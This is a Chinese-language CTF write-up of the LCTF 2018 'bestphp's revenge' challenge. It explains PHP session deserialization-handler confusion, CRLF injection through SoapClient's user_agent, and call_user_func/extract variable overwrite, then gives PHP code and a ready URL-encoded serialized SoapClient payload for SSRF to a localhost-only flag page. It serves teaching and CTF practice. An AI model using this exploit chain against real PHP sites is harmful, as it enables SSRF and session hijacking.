# bestphp’s revenge
# index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
# #flag.php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
# 知识点:
# 1.Session 在写入和读取时。都会进行序列化 / 反序列化
# 2. 利用 soap 进行 SSRF
# 3.call_user_func 的调用
# 一. SoapClient
SOAP 是 webService 三要素(SOAP、WSDL (WebServicesDescriptionLanguage)、UDDI (UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI 用来管理,分发,查询 webService ,SOAP(简单对象访问协议)是连接或 Web 服务或客户端和 Web 服务之间的接口。其采用 HTTP 作为底层通讯协议,XML 作为数据传送的格式。
SoapClient 类可以创建 soap 数据报文,与 wsdl 接口进行交互。
第一个参数的意思是:控制是否是 wsdl 模式,如果为 NULL,就是非 wsdl 模式。如果是非 wsdl 模式,反序列化的时候就会对 options 中的 url 进行远程 soap 请求,第二个参数的意思是:一个数组,里面是 soap 请求的一些参数和属性。
简单的用法
<?php | |
$a = new SoapClient(null,array(location'=>'http://example.com:2333','uri'=>'123')); | |
$b = serialize($a); | |
echo $b; | |
$c = unserialize($b); | |
$c->a(); |
可以利用 SoapClient 类的 __call (当调用对象中不存在的方法会自动调用此方法)方法来进行 SSRF
# 二. CRLF Injection 漏洞
首先要对 HTTPheaders 和 HTTPbody 要有一些基本的了解,如图,它们之前用空行区分
CRLF 是” 回车 + 换行”(\r\n)的简称。在 HTTP 协议中,HTTPHeader 与 HTTPBody 是用两个 CRLF 分隔的,浏览器就是根据这两个 CRLF 来取出 HTTP 内容并显示出来。所以,一旦我们能够控制 HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话 Cookie 或者 HTML 代码,所以 CRLFInjection 又叫 HTTPResponseSplitting,简称 HRS。
简单来说
http 请求遇到两个 \r\n 即 %0d%0a,会将前半部分当做头部解析,而将剩下的部分当做体,当我们可以控制 User-Agent 的值时,头部可控,就可以注入 crlf 实现修改 http 请求包。
<?php | |
$target = "http://localhost:2333"; | |
$options = array( | |
"location" => $target, | |
"user_agent" => "mochazz\r\nCookie: PHPSESSID=123123\r\n", | |
"uri" => "demo" | |
); | |
$attack = new SoapClient(null,$options); | |
$payload = serialize($attack); | |
unserialize($payload)->ff(); // 调用一个不存在的 ff 方法,会触发__call 方法,发出 HTTP 请求 | |
?> |
得到如下
→/home nc - lvp 2333 | |
listening on [any] 2333 | |
connect to [127.0.0.1] from localhost [127.0.0.1] 42022 | |
POST / HTTP/1.1 | |
Host: localhost :2333 | |
Connection: Keep-Alive | |
User -Agent: mochazz | |
Cookie: PHPSESSID= 123123 | |
Content-Type: text/xml; charset=utf-8 | |
SOAPAction: "demo#a" | |
Content-Length: 365 | |
<?xml version="1.0" encoding="UTF-8"?> | |
<S0AP- ENV:Envelope xmlns: S0AP- ENV= "http:/ /schemas . xmlsoap . org/ soap/envelope/" xmlns:ns1="demo" xmIns :xsd="http:/ /www .w3.org/ | |
2001/XMLSchema" xmIns : SOAP -ENC="http://schemas .xmlsoap .or g/soap/ encoding/" SOAP- ENV:encodingStyle="http://schemas .xmlsoap.og/ soap/ encoding/"><S0AP - ENV : Body><ns1 :a/></S0AP - ENV: Body></S0AP ENV: Envelope> |
# 三. call_user_func
call_user_func 函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法。
先传入 extract (),将b,$a)** 就可以变成 call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。
# 四. PHPsession 反序列化
Directive | 含义 |
---|---|
session.save_handler | session 保存形式。默认为 files |
session.save_path | session 保存路径。 |
session.serialize_handler | session 序列化存储所用处理器。默认为 php。 |
session.upload_progress.cleanup | 一旦读取了所有 POST 数据,立即清除进度信息。默认开启 |
session.upload_progress.enabled | 将上传文件的进度信息存在 session 中。默认开启。 |
我们先通过一个样例代码,看看 3 种不同的 session 序列化处理器处理 session 的情况。
<?php | |
session_start(); | |
$_SESSION['name'] = 'mochazz'; | |
?> |
当 session.serialize_handler=php 时,session 文件内容为: name|s:7:"mochazz";
当 session.serialize_handler=php_serialize 时,session 文件为: a:1:{s:4:"name";s:7:"mochazz";}
当 session.serialize_handler=php_binary 时,session 文件内容为: 二进制字符names:7:"mochazz";
而当 session 反序列化和序列化时候使用不同引擎的时候,即可触发漏洞
php 引擎会以 | 作为作为 key 和 value 的分隔符,我们在传入内容的时候,比如传入
$_SESSION[‘name’] = ‘|username‘ |
那么使用 php_serialize 引擎时可以得到序列化内容
a:1:{s:4:”name”;s:4:”|username”;} |
然后用 php 引擎反序列化时,| 被当做分隔符,于是
a:1:{s:4:”name”;s:4:” |
被当作 key
username
被当做 vaule 进行反序列化
于是,我们只要传入
$_SESSION[‘name’] = |序列化内容 |
即可触发漏洞
知识点就讲到这里,接下去来分析一下题目
<?php | |
highlight_file(__FILE__); | |
$b = 'implode'; | |
call_user_func($_GET['f'], $_POST); // 参数二的位置固定为 $_POST 数组,我们很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用 | |
session_start(); | |
if (isset($_GET['name'])) { | |
$_SESSION['name'] = $_GET['name']; | |
} // 存在 session 伪造漏洞,我们可以考虑是否可以包含 session 文件或者利用 session 反序列化漏洞 | |
var_dump($_SESSION); | |
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018'); | |
call_user_func($b, $a); | |
?> | |
array(0) { } | |
//flag.php (扫目录扫到的) | |
only localhost can get flag!session_start(); | |
echo 'only localhost can get flag!'; | |
$flag = 'LCTF{*************************}'; | |
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ | |
$_SESSION['flag'] = $flag; | |
} | |
only localhost can get flag! |
分析下代码,flag.php 文件中告诉我们,只有 127.0.0.1 请求该页面才能得到 flag ,所以这明显又是考察 SSRF 漏洞,这里我们便可以利用 SoapClient 类的 __call 方法来进行 SSRF
第一步:由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header ,构造 SoapClient 类,并用 php_serialize 引擎进行序列化,存入 session
PHP 7 中 session_start () 函数可以接收一个数组作为参数,可以覆盖 php.ini 中 session 的配置项。这个特性也引入了一个新的 php.ini 设置(session.lazy_write)
我们可以利用回调函数,通过给 f 传参,值为 session_start,然后 post 提交 array('serialize_handler'=>'php_serialize')
即达到 session_start (array (‘serialize_handler’ => ‘php_serialize’)) ,将会根据 php7 特性设置 session.serialize_handler=php_serialize。而又因为 session 是可控的,可以通过传入 name 值,任意伪造。这里就想到 name 传入的是序列化值了,序列化 exp
<?php | |
$target='http://127.0.0.1/flag.php'; | |
$b = new SoapClient(null,array('location' => $target, | |
'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n", | |
'uri' => "http://127.0.0.1/")); | |
$se = serialize($b); | |
echo "|".urlencode($se); | |
// 注意下,这个脚本想要执行,需要将 php.ini 里的 php_soap.dll 前面的分号去掉 |
执行脚本得到
|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D |
第二步:通过变量覆盖,调用 SoapClient 类,从而触发__call 方法
传值 f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func (a) 就变成 call_user_func (‘call_user_func’,array (‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。
第三步:将 PHPSESSID 改为我们在 SoapClient 类里设置的 123456 即可得到 flag
总的流程如下,图来源于网络 PHP 反序列化入门之 session 反序列化
参考链接:https://www.cnblogs.com/NPFS/p/14335370.html